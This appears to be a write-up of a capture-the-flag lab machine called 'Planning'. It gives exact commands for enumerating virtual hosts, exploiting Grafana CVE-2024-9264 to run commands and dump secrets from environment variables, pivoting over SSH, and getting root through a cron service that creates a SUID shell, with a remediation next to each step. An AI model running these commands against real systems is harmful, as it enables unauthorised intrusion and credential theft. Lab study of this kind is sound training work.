Planning
Summary
I enumerated virtual hosts on the target nginx server and discovered a Grafana 11.0.0 monitoring dashboard alongside a decoy education site. Using obtained administrator credentials, I authenticated to Grafana and exploited CVE-2024-9264 — a critical SQL-injection-to-command-execution flaw in the DuckDB data source plugin — gaining root-level code execution inside the Grafana Docker container. Environment variables within that container exposed the host SSH password for user enzo in plaintext; I pivoted to the host over SSH and captured the user flag.
As enzo, a root-credentialed internal crontab management service was discovered on localhost, its credentials stored in a configuration file readable by the low-privilege account. By triggering a pre-registered job through that service, I caused the root-owned process to create a SUID copy of bash, which was then executed to reach full root on the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 22,80 $TARGETffuf -u http://$TARGET -H 'Host: FUZZ.planning.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302echo "$TARGET planning.htb grafana.planning.htb" | sudo tee -a /etc/hostscurl -s http://grafana.planning.htb/api/healthExact commands 1
curl -s -X POST http://grafana.planning.htb/login -H 'Content-Type: application/json' -d '{"user":"admin","password":"$PASSWORD2"}' -c grafana_cookies.txtFixEnforce a strong, unique Grafana admin password and restrict login access by IPHigh
Exact commands 2
python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'id; hostname; whoami'python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'cat /proc/1/environ | tr "\0" "\n"'FixUpgrade Grafana to a patched version to close CVE-2024-9264Critical
Exact commands 1
python3 CVE-2024-9264.py -u http://grafana.planning.htb -U admin -P '$PASSWORD2' -c 'printenv | grep -i -E "user|pass|secret|key"'FixNever store host OS credentials in Docker container environment variablesCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 enzo@$TARGET 'id; cat /home/enzo/user.txt'Exact commands 3
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'ss -tlnp'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'find /home/enzo /opt /etc -type f \( -name "*.conf" -o -name "*.env" -o -name "*.ini" -o -name "*.yaml" \) 2>/dev/null | xargs grep -l -i password 2>/dev/null'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'curl -s -u root:$PASSWORD3 http://127.0.0.1:8000/'FixProtect internal service credentials from low-privilege OS accountsHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'curl -sS -i -u root:$PASSWORD3 -X POST http://127.0.0.1:8000/runjob --data-urlencode "_id=YTmf55sIn7pUWFuO"'sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no enzo@$TARGET 'sleep 2; ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'FixRemove or fundamentally redesign the root-owned crontab management serviceCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |